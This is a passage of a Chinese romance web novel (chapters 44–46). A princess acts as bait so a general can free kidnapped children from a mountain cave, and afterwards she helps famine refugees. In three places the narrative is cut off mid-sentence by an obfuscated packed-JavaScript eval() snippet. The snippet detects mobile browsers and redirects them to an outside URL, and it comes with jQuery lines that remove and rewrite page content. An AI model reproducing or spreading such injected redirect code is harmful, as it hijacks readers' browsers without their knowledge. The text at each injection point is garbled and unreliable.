不远处的灌木丛后,凝神静听的百里浔舟缓缓压下身子离开。 “怎么样??”封眠见他回来,忙上前询问。 他们一路跟着那种草药汁液寻到了此处,发现了拐子的藏身之地,百里浔舟让他们等在原地,自己先去探了探情况。 “孩子们应该都被关在此处。”百里浔舟眸光沉沉,“听动静,拐子约莫有十余人。” “洞口用巨石堵着,强攻、烟熏都不可取,恐怕会伤害到人质。只能想个办法引诱他们主动开门。” 百里浔舟说罢,先从怀中取出一枚骨雕的短哨。那哨子不过寸余长短,通体莹白如新雪,尾端系着一条褪色的红绳。 他将哨子抵在唇间,胸腔微微起伏。 “啾——啾——啾——” “啾、啾!” 三声长鸣接两声短啼,清越的哨音破开山雾,宛如一只真正的山雀正立在枝头欢歌。 他将骨哨重新收回怀中,抬眼却见封眠正望着他,杏眸里盛着明晃晃的好奇。 “你是在传信吗?” 百里浔舟颔首,“通知一下大家我们已找到了人,让他们过来汇合。若是待会行动出现什么意外,也能有人及时救援。” “那救人的法子你可想好了吗?” 百里浔舟略一沉吟,“最好是能有人为饵,诱他们出洞,里应外合破开洞门。若有机会,我能在他们开洞门时潜行进去,也可成事。” “好,那我来作饵。”封眠干脆道。 “郡主!”流萤和雾柳低声惊呼。 “不行!”百里浔舟下意识否决。 “让奴婢去吧,奴婢不怕。”流萤急得往前蹭了两步,雾柳跟着点头,“奴婢也不怕,郡主万万不可涉险!” “你们听我说。”封眠抬手向下一压,示意他们先听自己把话说完,“拐子掳人不就是图财?还有什么比一个貌美柔弱孤身独行的女子更有吸引力?” “在这儿的除了我们三个,都是男子,哪个拐子会为了个五大三粗的男人冒险?” 封眠抬手捂住流萤要发言的嘴,“至于你们两个,有把握不露出破绽吗?能保证不会被发现,不破坏计划吗?” 流萤和雾柳对视一眼,谁也说不出保证的话,讷讷难以作声。 “你就有把握自己能行,不会受伤?”百里浔舟心底仿佛一团火在乱窜,燥得不行,偏又发不出来,只能压低了嗓音问了一句话。 封眠却睁着双乌溜溜的眼巧瞧他,“这不是还有你在呢吗?” 百里浔舟呼吸一滞,心口那点火咻一下就被浇灭了,只无力地吐出两个字:“胡闹……” 但终究还是没能将人拦住。 时近午间,雾气终于散了一些,但还是蒙蒙地笼着山头。 陈大挨在堵住洞口的石块前,自缝隙处向外张望,愁眉耷眼,“你说这雾何时才能散尽?咱来这几日了,就开张了一次,还是个倔得要死的臭小子。我看趁雾散了,咱也撤吧,抓紧把手上的都脱手了得了。” “小点声抱怨吧你,再传到大哥耳朵里,又挨一顿呲儿。” 旁边的人小声提醒,陈大不情不愿地闭了嘴,忽然凝神侧耳,“哎,你听见什么声音没有?” “啥?” “好像是个女人,在呼救!” 细弱的求救声被风裹挟着卷入缝隙中,两人对视一眼,陈大嘿嘿一笑,“这儿风水不错啊,还有送上门的猎物呢!” 他说着便要搬开石块出去,被伙伴拉住,“你等等,先跟老大汇报一下” 山间窄道上,封眠钗环半褪,脸上抹了几道泥浆,翻山越岭的疲惫与痛苦完全不需要演,真实呈现,正有气无力地扯着嗓子喊:“有人吗?救命啊——” 她费劲地挪了两步,力竭一般跌坐在路边的石块上,无助地四处瞧着,并不看被藤蔓遮盖的拐子窝的方向,神色焦灼无措的模样,看起来完全就是一个误入深山的可怜少女。 “哎哟,姑娘!” 身后传来一道女声呼唤,封眠心头一跳,来了。 她面露惊喜之色转过头去,便见一名粗服荆钗的妇人提着篮子向她走来,神色和蔼关切。 “这位婶子……”封眠怯怯地唤了一声。 年约四十的妇人梳着整洁的发髻,双手粗糙,完全是一副辛劳农妇的模样,热心肠地与封眠搭话,“可怜见的,你咋一个人待在这儿呢?” 封眠不安地揪紧了衣摆:“雾太大了,我与家人走散了。婶子,你能带我下山吗?” “能,当然能。”妇人答应得快,话音转得也快,“只是你瞧,这雾还没散透,下山有风险。你若是不介意,不如跟我走。我们这些猎户在这山上都有落脚的地方,你过去歇歇,待雾散了,咱再走。” 她说着,不住打量封眠,嘴上絮絮念个不停:“可怜的丫头,咋给自己折腾成这样?累坏了吧?” 语气自然得完全像一个善良热心的农妇,封眠面上一点犹豫警惕之色也在她絮絮叨叨的关切声中散去了,点点头答应跟她走,然后在她的搀扶下站了起来。 “多谢婶子。” “客气啥,咱们出门在外,就得互帮互助才是。” 妇人搀起封眠回过身时,眼底贪婪的光不再遮掩地露了出来。 这姑娘细皮嫩肉的,脸蛋污成那样也能瞧出五官漂亮,当真是个嫩生的好花儿,定能赚笔大的。 封眠脚下生疼,毫不客气地将全身重量都压在妇人身上,慢腾腾地往前挪。 “婶子您贵姓?今日真是太感谢您了,待我回到家,定去寻您道谢。” 妇人被迫多担了一个人的重量上山,再有力气也龇牙咧嘴了一阵,喘着气道:“我夫家姓陈,你叫我一声陈嫂子就行了。” “哎,陈嫂子。”封眠甜甜地叫了一声,又问她在山上做什么,家中有孩子没有,平日做猎户辛不辛苦……直将陈嫂子都问得头昏脑胀了,闭上嘴巴不大想理她。 封眠叽里咕噜问她一堆,也是在暗暗打探洞中的情形,即便陈嫂子要说谎骗她,谎话总是会掺着些真话带出来。 比如被问到孩子的时候,陈嫂子明显带上了些真情实感,与她抱怨孩子不听话,雨天爬山路还摔伤了退,幸好有个女大夫路过帮忙,否则孩子小命就要没了。 封眠猜测陈嫂子口中的“女大夫”就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149194|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是那个嚼碎草药留下痕迹的人,应当也是被拐子拐来的。 说话间,两人终于上到了山头,出乎封眠意料的,陈嫂子竟带她往藤蔓遮掩的洞口的另一个方向走去,在视角盲区,竟还藏着一个入口! 看来这些人当真警惕,寻个藏身之地还要弄好几道出入口,时刻做着被追捕逃亡的准备。若是他们想法子堵住了藤蔓那头的洞口,他们还能从另一头离开。 到了近前,封眠停了停步子,故意显得有些害怕得四下张望,“陈嫂子,这里瞧着阴森森的,我害怕。” 临门一脚了,陈嫂子赶紧劝:“有嫂子在呢,你怕啥!” 就是你在才应该怕呢。 封眠心下腹诽,视线捕捉到不远处一株藤蔓被利器无声地斩落,便确认了百里浔舟就在附近跟着她,且有法子和她一起进去,当下放了心,才迈步随陈嫂子进了山洞。 视野先是暗了一瞬,鼻尖嗅到了些潮湿的腐气和淡淡的血腥气,接着便看见了嵌在壁缝里的松明火把。 火把微微照亮了蜿蜒的洞穴,依稀可见石地上铺开的几张草席。 不等封眠看见更多,左侧传来一道孩童的惊叫:“小心!” 封眠闻声回头,一个男人自陈嫂子身后闪出,手上铁链直直向她捆来。她下意识后退,陈嫂子却一迈步挡在她身后,撕去了温和的假面,阴阴笑道:“妹子,别挣扎了,束手……” 封眠两手一抬,放弃抵抗,“我投降。” 陈大正准备脱口而出的威胁狠话一下子噎在了口中,手上动作也顿了一瞬,显然没想到她认清现实的速度竟这么快,一时茫然地与陈嫂子对视了一眼。 陈嫂子瞪他一眼,“愣着干啥,绑上啊!” 封眠就这么被绑了手脚,塞进了土牢里。 陈嫂子还很是稀奇:“你倒是识时务。” 封眠瑟缩着低下头,全然是一副怕的没了主意的模样,“我、我不想挨打……” “乖乖听话是最好的,不受罪。晚晌嫂子给你拿些好吃的来。” 她顺利干完了这一单,欢欢喜喜地哼着小曲儿走了。 待脚步声消失在山洞拐角,封眠松了口气,转身去看身后被关着的那群孩子们。 十来个孩子鹌鹑似的缩在阴暗的角落里,怯生生地盯着她。他们五官都笼在重重阴影之下,封眠分辨不出,只得试探着喊了一声:“阿央?” “郡主姐姐,真的是你?”最里侧的角落,阿央撑着土壁站了起来,一瘸一拐地往封眠的方向走。 “你腿怎么了?”封眠见状想上前,却忘了自己的两脚也被绑住了,挣扎了一下又摔倒在地。 “我没事,他们绑我的时候,我挣扎来着,就伤到了。”阿央赶紧把封眠搀扶着坐好,看见她狼狈的样子十分不敢置信,“你怎么也……哼,我就知道那帮人都是绣花枕头,中看不中用!” 他气呼呼地骂了百里浔舟等人一通,显然认定是他们没有保护好封眠,他回头看向人群中央,轻声问道:“阿雪姐姐,你能不能帮郡主姐姐看看,她受伤了。” “哪里来的郡主?”一道虚弱的声音响起。 娟秀的身影自被孩童们挡住的地方坐了起来,脸色苍白,满是病容,即便处在黑暗中,封眠还是一眼认了出来。 元寄雪?! 44. 第 44 章 “别动!” 封眠和元寄雪看到彼此身陷贼窟,都万分惊讶。 封眠忙避开孩子们,悄悄与元寄雪耳语,告诉她百里浔舟也在此处,外面都是他们的人,待百里浔舟摸清楚此间情况,就会来救他们。 之所以避开孩子们,也是不确定这群孩子们会不会发出欢呼,惹来拐子的警惕。 事以密成,封眠想着还是要谨慎些为好。 元寄雪一直悬着的心终于稍稍落回了肚子里,紧绷的神经松了下来,苍白的唇瓣牵起一道极浅的笑意,“幸好你们来了,你们是怎么找到这里的?” 封眠便将剿匪的乌龙事略略说了,“若不是因为阿央不见了,恐怕我们也没这么快能发现拐子就藏身在这座山上。” 末了,她又问道:“哦对了,我们是追着一些被嚼碎的草药的踪迹过来的,可是你留下的?” 见着元寄雪点了点头,封眠那句“你怎会落至此地”在舌尖滚了几滚,终是迟疑着未能出口。 元寄雪却似看穿她心中所想,唇边那抹笑意染上些苦涩与自嘲,主动低声道:“我离开云中郡时,元家派了人追我。” 封眠不知这里头还有这么一出,当即皱起了眉,忿然道:“他们难道还想抓你回去嫁人?” “刘员外给的彩礼,可是货真价实的几箱金子,他们哪里舍得送还?”元寄雪冷冷道,“我好不容易逃出来,怎么肯再回那虎狼窝里去?我宁愿跳崖,也不会回去。” 她顿了顿,仿佛回忆起那日的绝路,“或许老天怜我,落崖后我没死,只是受了些伤,偏巧遇上了这些拐子……” 她的声音低下去,有些疲惫,“幸而我会些医术,他们的头目又受了伤,需要大夫照料,便一直带着我。” 这些孩子们受伤生病,也皆是元寄雪劝说头目“健康的孩子才能卖上好价钱”,才有了被诊治活命的机会。 头目允她四处摘些草药救人,也因此让她有了留下线索的机会。 “幸好有你!”封眠望着元寄雪,眼底是毫无作伪的、纯粹的敬佩,“若非你留下的线索,要找到此处,还不知道要费多少时日,有多少变故。” 元寄雪怔了怔,微微垂下眼,眸中复杂的情绪翻涌着。 再相见时,郡主的反应与她料想的全然不同,她本以为,就算郡主再如何宽和,也会因她下药一事而鄙薄冷眼,可她却好似全然忘了这回事一般,只字未提便罢,怎还能真心地称赞于她? 往日在家中,便是她什么都从未做错,父兄与继母也只有打骂与数落。现下封眠的话让她心口发烫,更多却是无措的茫然。 封眠不知她心中所想,兀自理了理腕上沉重的锁链,侧耳向土牢外倾听,依旧是一片死寂。 她心下有些等不及了,轻声自语:“怎么还没动静?” 话音未落,一声沉闷的轰鸣忽然响起,脚下地面微颤,洞顶土石簌簌落下碎尘。 “退后!趴下!” 封眠立刻意识到是百里浔舟开始炸开洞口,迅速指挥孩子们聚到一处,“都护住头!” 有碎石砸落,她几乎是本能地张开双臂,将离她最近的几个孩子猛地揽入怀中,用自己单薄的脊背作为屏障,顶住了雨点般砸落的碎石。 她感受到怀中孩子们因极度恐惧而剧烈的颤抖,余光瞥见元寄雪和阿央同样扑过来护住其他孩子的身影。 虽是知道百里浔舟既然开始炸开洞口,便是确保了山洞不会塌陷,砸落的石块不会伤人,但她心下还是有些懊恼自己思虑不足,她应早些让孩子们注意自卫的。 待烟尘稍散,众人惶惶然抬首,在呛咳声和胆小的孩子的呜咽声中,夹杂着一道骂骂咧咧的声音。 “*的,敢里应外合骗老子!想救人,老子先把你们全都杀了!” 头破血流的陈大提着砍刀气势汹汹地冲过来,他状若疯魔,充血的双目野兽般满是凶戾和杀意,带着同归于尽的疯狂。 他根本不管外面已经响起的激烈打斗声,手中砍刀“砰”地砍断了简易土牢的木栏。 “啊——!”孩子们吓得惊声尖叫起来。 封眠和元寄雪还有阿央毫不犹豫地挺身挡在最前面。 封眠脸色苍白如纸,扬声安抚着身后的孩子们,“别怕,有人来救我们了!他伤害不了我们!” 孩子们仿佛孱弱的幼崽一般瑟缩在她的羽翼之后 “就是你这个贱人!”陈大仇恨的目光死死锁在封眠身上。 方才一有敌袭,老大就反应过来他们上套了,一脚便将陈大踹飞了出去,咬牙要与他秋后算账,然后便带着弟兄们冲出去迎敌。 陈大这才意识到自己和媳妇儿绑进来的那姑娘有问题,当即不管不顾地冲了回来。 便是死,他也要先拉几个垫背的! 雪亮的刀锋在眼前划过一道刺目的光,封眠瞳孔骤缩,下意识闭目,高举缚手的锁链抵挡,刀刃砍在铁链上发出刺耳的滋啦声响。 下一瞬一声惨叫,封眠只觉腕上一轻,腰间猛地一紧,被一股不容抗拒的力道向后一带,跌入一个温暖的怀抱。 硝烟和尘土混着一种熟悉的清冽气息,瞬间将她包裹。 她惊魂未定地猛地睁开眼,入目便是百里浔舟线条流畅的下颌。他薄唇紧抿成一道冰冷的直线,下颌处沾着一点飞溅的血迹和尘土,更添几分凌厉的煞气。 百里浔舟一脚踹飞了陈大,眼含惊忧地看向怀中的封眠,急切地将从头到脚扫视一番,见她无恙,紧蹙的眉头才极其细微地松动了一丝,一直悬在胸口的心放了下来。 “在这待着。”他半推半抱地将她轻轻摆到墙边,方才再次如离弦之箭般冲了出去。 土牢外的厮杀声并未坚持多久便停歇了。 这些拐子不过是仗着地利藏匿的一窝蛇鼠,远不是疾羽营和鸾仪卫的对手,硬撑了片刻,便只余哀哀求饶声。 当百里浔舟带着一身未散的煞气和淡淡的血腥味再次踏入土牢时,洞内弥漫的烟尘几乎已经散尽了。 外头被炸开的洞口处的碎石尽数坍塌,天光从豁口处艰难地透进来,照亮了满室狼藉和一张张劫后余生、惊魂未定的稚嫩脸庞。 百里浔舟招了招手示意身后众人跟进来,“将人带出去好生安置。” 接着他一眼余光也未分给旁人,大步流星地走到了封眠面前。他高大的身影在她面前投下一片阴影,二话不说,单膝点地蹲了下来,掏出一把钥匙,一手捧起封眠的手镣,动作利落而轻柔地为她解开锁链。 满室皆是丁零当啷解开锁链的声音,封眠却不知为何仿佛只能听到眼前的动静,锁戳进锁芯时的动静,旋开时轻微的咔哒声,微微屏住的呼吸声,和缓慢跳动的心跳声。 卸下手镣,便见腕间柔嫩的皮肤已被磨破了皮,留下了一道血痕,百里浔舟本就未解开的眉心蹙得愈发紧了。 封眠被盯得颇有压力,总觉得再不说定什么便有火山要爆发了,忙张口解释道:“我这皮肤养得太娇嫩,摁一下就红了,这样子也就瞧着吓人,其实我没什么感觉的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16159028|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百里浔舟掀起眼皮凉凉地看她一眼,封眠下意识便噤了声,抿紧了唇一个字都不敢再说。 百里浔舟心下有些烦躁,迅速将脚镣也解了,视线没敢在脚腕上多留一瞬。手腕只戴了片刻的镣铐便磨成了这副样子,早就开始行动不便的一双脚又会是什么样的惨状? 他惦记着此处环境污糟糟的,当下不由分说地将手臂穿过她的腿弯和后背,将人打横抱起。 封眠下意识地攀住他坚实的肩颈,指尖能感受到衣料下灼热的体温和紧绷的肌理。 她刚想开口,百里浔舟已抱着她,迈开大步急急往外走。 得快些回去马车上,将脚伤处理一下。 自始至终都没有发现安静地隐在人群中的元寄雪的身影。元寄雪默默望着他火急火燎离开的背影,心口仍是没忍住闷了一瞬。 自情窦初开之际便执着抓住的那一抹温暖,她终究从来没有抓在手心过。 “郡主!” 见封眠被百里浔舟抱了出来,流萤和雾柳吓了一跳,急忙冲上前。 “来人,送她们回营地。”百里浔舟叫来两个人,又嘱咐流萤两人,“快些弄盆干净的温水等着!” 两名疾羽营将士带上流萤和雾柳疾驰而去。 百里浔舟将封眠托到马上,翻身坐到她身后,将她牢牢护在怀中,“忍着些。” 他轻轻叮咛一句,扬手将披风卷到她身上,遮住迎面的风,便立即策马往营地赶去。 担心颠簸的晃动让她不适,百里浔舟抱着封眠的手臂收得更紧了些,让她能更稳地贴靠在他胸前。 封眠觉得只过了瞬息,人便已被稳妥地安置到了铺着厚厚软垫的车厢内。 封眠跌入一片柔软的包围,车内的暖意和熟悉的熏香气息让她紧绷的神经终于松懈,随之而来的是更强烈的疲惫感和脚上尖锐的疼痛。 她忍不住轻轻蜷缩了一下身体。 百里浔舟一言不发地接过流萤递来的温水,弯腰钻入马车。 被挡在外头的流萤刚想说她来照料郡主,便被雾柳拽了拽袖子,摇头制止。 马车内,百里浔舟沉着脸,将水盆重重放在小几上。水波晃动,映出他冷峻的倒影。 他看也不看封眠,只是粗暴地挽起衣袖,露出一截线条流畅、肌理分明的小臂,然后半跪在车厢地板上。 那双骨节分明、握惯了杀人兵刃的手,径直伸向封眠沾满泥污的裙摆,下同样满是污泥的鞋,动作轻得近乎笨拙地替她脱鞋。 “嘶……” 许是碰到了伤处,封眠疼得倒抽一口冷气,下意识地想缩回脚。 “别动!”百里浔舟低喝一声,语气硬邦邦的,手上的动作却不由自主地顿住,变得更为小心翼翼。 接着便是呼吸一窒。 暴露在眼前的纤细脚踝伤痕累累,脚上更是惨不忍睹,擦伤遍布,被磨出的血泡早已破裂,边缘红肿,渗着血水。 百里浔舟几乎咬碎后槽牙。一股难以言喻的、混杂着愤怒、心疼和自责的剧烈情绪在心中翻滚冲撞。 这般娇气的,一阵风便能吹倒的人,怎偏生胆比天还大!放着好好的王府不待,非要来淌浑水! 更多却是自责与懊恼,她说什么相信他,可他还不是让她将自己弄成了这幅鬼样子,什么也做不了! 封眠不大自在地蜷了蜷脚趾,试图将脚缩回裙摆下,“那个,让流萤她们帮我处理就行了,不麻烦你……” 百里浔舟正准备去拿干净布巾的手一顿。 45. 第 45 章 山风静谧,一片兵荒马乱之后,解救的人与抓捕的犯人各自归置好,只等着略作休憩,便启程回云中郡了。 姚知远拿着登记好的名册,随手拦了一个士卒,问:“世子呢?” 士卒抬手一指,“那头呢,站好一会儿了。” 姚知远顺着士卒手指的方向一瞧,百里浔舟跟个门神一样杵在郡主马车外头呢。 他点点头正要走,那士卒忽然犹犹豫豫地开口:“姚大人,您说,世子殿下是不是又惹郡主不高兴了,才被罚面壁?” 姚知远:“……你觉得世子能这么乖乖被罚?” 士卒挠了挠头,傻笑两声,“没被罚就行,我们还说呢,若是郡主和世子吵起来,还真不知道帮哪个才好……” 姚知远大惊,这还用犹豫吗?疾羽营的兵都是怎么训的? “自然是帮着郡主。”他肃容道,“郡主在云中郡无依无靠,身子骨柔弱,性子又好,与世子吵起来,怎么想都是世子的错。” “况且郡主待你我不薄,我等再站在世子那边,可就是白眼狼了。” 士卒心中疑虑迎刃而解,敬服地向姚知远一抱拳,“属下明白了!” 明白就好。 姚知远颔首离开,挥一挥衣袖,深藏功与名。 “殿下。”姚知远行到百里浔舟身后,轻唤了一声,百里浔舟才回过神来。 他将手中名册递上,“犯人和受害者名单皆在此处。这群人骨头挺硬,什么也不肯说。” “不急,先带回去,慢慢审。”百里浔舟略扫了扫名册,交还姚知远,嘱咐道:“那些孩子们受了惊,回去寻医师好好调养,问清楚家在何处,做好记录后,便好生送回去吧。” “是。”姚知远点头应了,提醒道:“元姑娘也在受害者一列,她帮着瞧过了,孩子们都没什么大事。倒是她自己病得不轻。” 百里浔舟这才知道元寄雪竟然也在此处,他只略愣了一下,便点了点头示意自己知晓了,“需要什么你安排就是了,她要回元府还是离开,都随意。” 说着话,百里浔舟的视线又往马车上溜,第一个冒出来的想法便是要不要请元寄雪来给郡主瞧瞧,转念又想元寄雪也病了,不好再劳动她,更加怕过了病气给郡主,雪上加霜。 “殿下在此处干站着做甚?担心的话就进去瞧瞧郡主。”姚知远不懂就问,便听百里浔舟的声音都低了两度。 “她将我赶出来了,不让我帮忙。”那语气莫名的茫然委屈。 百里浔舟说着看向姚知远,桀骜的少年将军眼底盛满了迷惘,“她千里迢迢追来,受了伤,我替她瞧伤,她不应当……” 他张了张嘴,竭力思索着用词,“羞涩,半推半就,暗暗欣喜……” 姚知远做了个“停”的手势,止住百里浔舟的话头,总算明白他这副情状是为何了,颇有些无言以对。 “世子还觉得是郡主对您动心了?” 百里浔舟抿了抿唇没说话,但看神色,他就是这么觉得的。 姚知远觉得自己身为军师,有必要戳破主子不切实际的幻想,直言道,“属下不这么觉得。” 他倒觉得心动的另有其人。 百里浔舟斜眼睨他,“你又不是我,你当然觉不出什么。” 被送香包的是他,被追着跑的是他,被说信任的也是他,他就是这么觉得。 “……罢了。”姚知远很是见识过世子殿下的执拗,懒得与他掰扯,直接问道:“世子殿下又是如何想的?不打算与郡主和离了?” 那待回了云中郡,他可得去瓦舍一趟,重投赌局。 百里浔舟是如何想的呢?他在马车外站了半晌,也没想得太明白。 他只是想着,她待他的心意这般赤忱,他就算回应不了同样的心意,也应待她好一些。否则岂不是伤人? “人心易变,她这心思说不定来得快去得也快,到时定还是要和离的。” 姚知远看着自家这位糊涂殿下,心下大叹,竟有人于风月一道上如此不开窍,不对,不是不开窍,而是开错了窍啊。 身为军师,他应责无旁贷地点醒殿下,但想到自己已说过多次,次次都被殿下驳了回来,便觉得还不如让他撞一撞南墙,撞得多了,说不定就开窍了。 授人以鱼,不如授人以渔。这才是一名好军师应当做的,遂道:“可殿下您如今这般举止,很难不让人误会啊……” “若是剃头担子一头热,说不得很快便凉了。要是另一头也跟着热起来,这担子怕是就要着了。” 被姚知远这么一说,百里浔舟愣了一下,才觉得自己近日举止好像是有不妥,他看姚知远地眼神清澈得像个太学生,“难得听你说了句有道理的。” 姚知远:“……” 好好好,平日里认真出谋划策的话都没道理,胡乱给他捣乱说的话就有道理了? 这军师真是没法当了。 百里浔舟觉得自己现在应该走开,但转身时脚底像被粘住了一般迈不开步子,终是背手敲了敲车驾,硬是冷着嗓音问道:“郡主可好了?” 里头传来封眠略有些虚弱的声音:“好了,多谢世子关心。” 百里浔舟的手在手在车帘处悬了片刻,终是没有撩开来看一眼,放下手道:“既无事,那便准备出发吧。” “殿下!” 他正要走开,便见不远处村长颠颠地跑了过来。他立时停了脚步,等在原地。 村长跑到近前,先向几人行过礼,才揣着手,期期艾艾地开口:“我、我们能不能……能不能同两位殿下一起、一起回……” 他灰白的眉毛垂着,显然顶着一番压力,为了全村上下老弱妇孺的性命,他便是不要这张脸皮了,也得求着两位殿下相助。 否则过了这村,他当真不知去何处还能再碰上有权有势又有善心地话事人了。他们说不得便要被困在这山里一辈子。 “我们不进城也行的!只要能有条活路,让我们做牛做马都行!” “您老人家不必如此。”马车车窗被推开,封眠苍白的小脸探了出来,她两只脚刚被裹好,不便下马车,便只能这般与人交谈了。 “世子殿下爱民如子,岂会对你们的苦处置之不理。只是不知,如你们这般遭了灾的村落还有多少?他们又都往何处去了?” 村长面上刚带出一点喜意,听闻封眠问起其他遭难的百姓,心情难免又沉了下去,长叹口气道:“整个从黑水沟往东,半个白水县都遭了灾!” “县令说粮食不够,管不了我们……”村长的声音沙哑疲惫,“有些乡亲熬不住,说南方富庶,粮食多,便往南方去了。我们、我们舍不得祖辈留下的根,日后还想着能回家去,就一路往西……” “可这一路上的乡镇城池,没有一处肯放我们进……” 村长脸上道道皱纹便如同干涸土地上龟裂的缝隙,伴着他的诉说,更深了几许。 “但这也不能怨他们,咱们这儿良田本就不多,家家户户都勒紧了裤腰带过日子,谁不想先顾着自家的老小?” 村长浑浊的眼中泛起一层水光,却又很快被布满老茧的手背抹去。 “能遇着两位殿下,已是我们命好了!” 封眠看着村长佝偻的脊背,抬眼又望见远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166607|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处树下倚靠在一处的村民们,他们瘦弱疲惫的身影嵌在暮色中,显得那么渺小却又那么坚韧。 她令人心下发酸,飞快眨去眼底浮起的泪意。 “赈济灾民,本就是朝廷应当做的。您老且安心,待此事上达天听,陛下定会拨款赈灾,助大家渡过此难关。”封眠给村长喂了一颗定心丸,村长顿时千恩万谢起来。 “郡主大恩,小老儿代全村人叩谢……”他说着便要跪下。 “哎,不必如此。”封眠抬手虚扶。 百里浔舟眼疾手快地顺势托住了村长的手,将他扶起来,“郡主为百姓解忧,不图你这一跪,免了吧。” 村长红着眼站好了,正打算去将好消息告诉村民们,便又听封眠问道:“你们先前劫下的那名富商,可知其身份?” 百里浔舟闻言挑了挑眉,他还当封眠心思柔软,早已将此事揭过了,没想到她竟再次提起。 村长僵在原地,像是被雷劈中一般,半晌才结结巴巴道:“这、这……这事都是我的主意!还请郡主和世子殿下,只责罚我一人吧!” 他说着又想跪下,急得封眠直接指挥百里浔舟:“世子快扶住他!” 百里浔舟下意识便听令行动,又一次将村长扶起来,村长腰背绷得笔直,险些扭了筋。 “别怕,法理之外尚有人情。我并非要问罪什么人。”封眠语气和缓,听得人心下一定,“只是那富商行此一遭也是不易。愿意冒险来北疆做生意的人,也是自险中求富贵,殊为不易。” “可若教他以为北疆处处是行劫掠之事的刁民,日后怕是不敢再来了。商路一断,银钱不流,货物滞销,最终苦的还是北疆的百姓。” 村长听得连连点头,一脸愧色地拍大腿,“是这么个理!小民真是,哎呀,小民糊涂啊!” 虽然他们没伤人,只抢了些吃食用具,但抢了就是抢了,再如何开脱也是不应当的! 封眠语气又柔了三分,“你们劫道也是不得已之举,但那富商亦是无妄之灾,平白遭此横祸,总该给个交代才是。” “我会派人去寻他弥补一二,望他能够谅解,此事便也算揭过了。” 村长闻言,身子猛地一颤,深深作了一揖,“郡主大恩!我等日后得了生路,定会攒下银钱偿还!” 这次都无需封眠开口,她只瞧了一眼,百里浔舟便上前将村长扶了起来,“快去让大家准备上路吧,今晚早些赶回去。” “哎!”村长忙转身颠颠地跑走了。 百里浔舟还想转身和封眠说两句话,却听一旁姚知远咳了两声。他身形一僵,生生将转了一半的身子又扳了回去,作势便要迈步离开。 “世子等等。” 轻柔的嗓音从身后传来。 百里浔舟刻意顿了片刻,这才慢条斯理地转身,下颌微扬,故作疏淡道:“郡主有事?” 这可是她喊他,并非他上赶着搭话。 封眠瞧他这副模样,不由奇怪,方才还好端端的,怎的突然就端起了架子? “可否帮我请元姑娘来一趟?” “哦。”听她找自己说的是正事,他又有些不高兴了,薄唇抿成一道冷硬的线,硬邦邦地应了一声,转身便走。 背影散发着浓浓的郁气,衣袂翻飞,活像炸了毛的猫。 “谁惹着他了?”封眠望着他远去的背影,困惑地眨了眨眼。 姚知远心下直摇头,真想看看世子是如何开窍的。他假意清了清嗓子,“郡主不必介怀,我们世子向来如此。脾气如同六月天,说变就变。” 他可没在造谣,世子现下可不就是这样的脾气么? 46. 第 46 章 暮色微深之际,百里浔舟一行人踏着霞光下了山,赶一赶路,兴许能在午夜前抵达云中郡。 幸而封眠来时为了带物资,多带了几辆马车,才载得下回程时多出来的这许多人。众人挨挨挤挤地坐在马车里,虽是有些局促了,但没人有怨言,心中皆是难得的安定。 疲惫至极的人们在马车的辘辘声与轻微颠簸中,满怀期待地,头碰着头睡了过去。 再醒来时,他们便能抵达一处平安宁静的所在,再不必担惊受怕了。 最前头的马车里,暖黄的烛光摇晃着映出几道人影。 封眠的手搭在元寄雪的腿上,由她把着脉,有些不好意思地解释:“我寻你来并非是想请你替我把脉,你还病着呢……” 谁知这人一上马车就将她的手拽了过去,她连拒绝的时间都没有。 元寄雪闭目靠在车壁上,颊上淡无血色,苍白的唇浅浅开合着道:“我知道。医者本能,瞧见你这副样子,怎忍得住不管?” “我这病不影响把脉,郡主不必担忧。” 自己都病成这个样子了,还坚持不放过眼前任何一个病人,元寄雪当真是喜欢医术,更尊重医道。 一旁流萤和雾柳紧张兮兮地看着元寄雪把了好半天的脉,忍不住开口问询:“脉象如何?” 难道郡主只是瞧着没病,实则有内伤? 元寄雪过了两息才道:“没事,不用吃药,养一养外伤,补补血气,便好了。” 听她说话气短的模样,封眠便知她是有些气力不济,忙看了一眼流萤。 流萤早有准备,端了一盏参茶过来,眼巴巴地瞅她,“你能喝参茶吗?” 她只知参茶有补气提神之效,先一步备下了,却不知元寄雪现下能不能用。 雾柳:“若是不行,你需要什么,便与我们说。” 因着郡主身体不好,他们马车上也时常备着些补品草药,。 元寄雪点了点头,示意自己能喝。她刚想抬手接过茶盏,便见流萤直接将参茶捧到她嘴边,一副要喂她喝的模样。 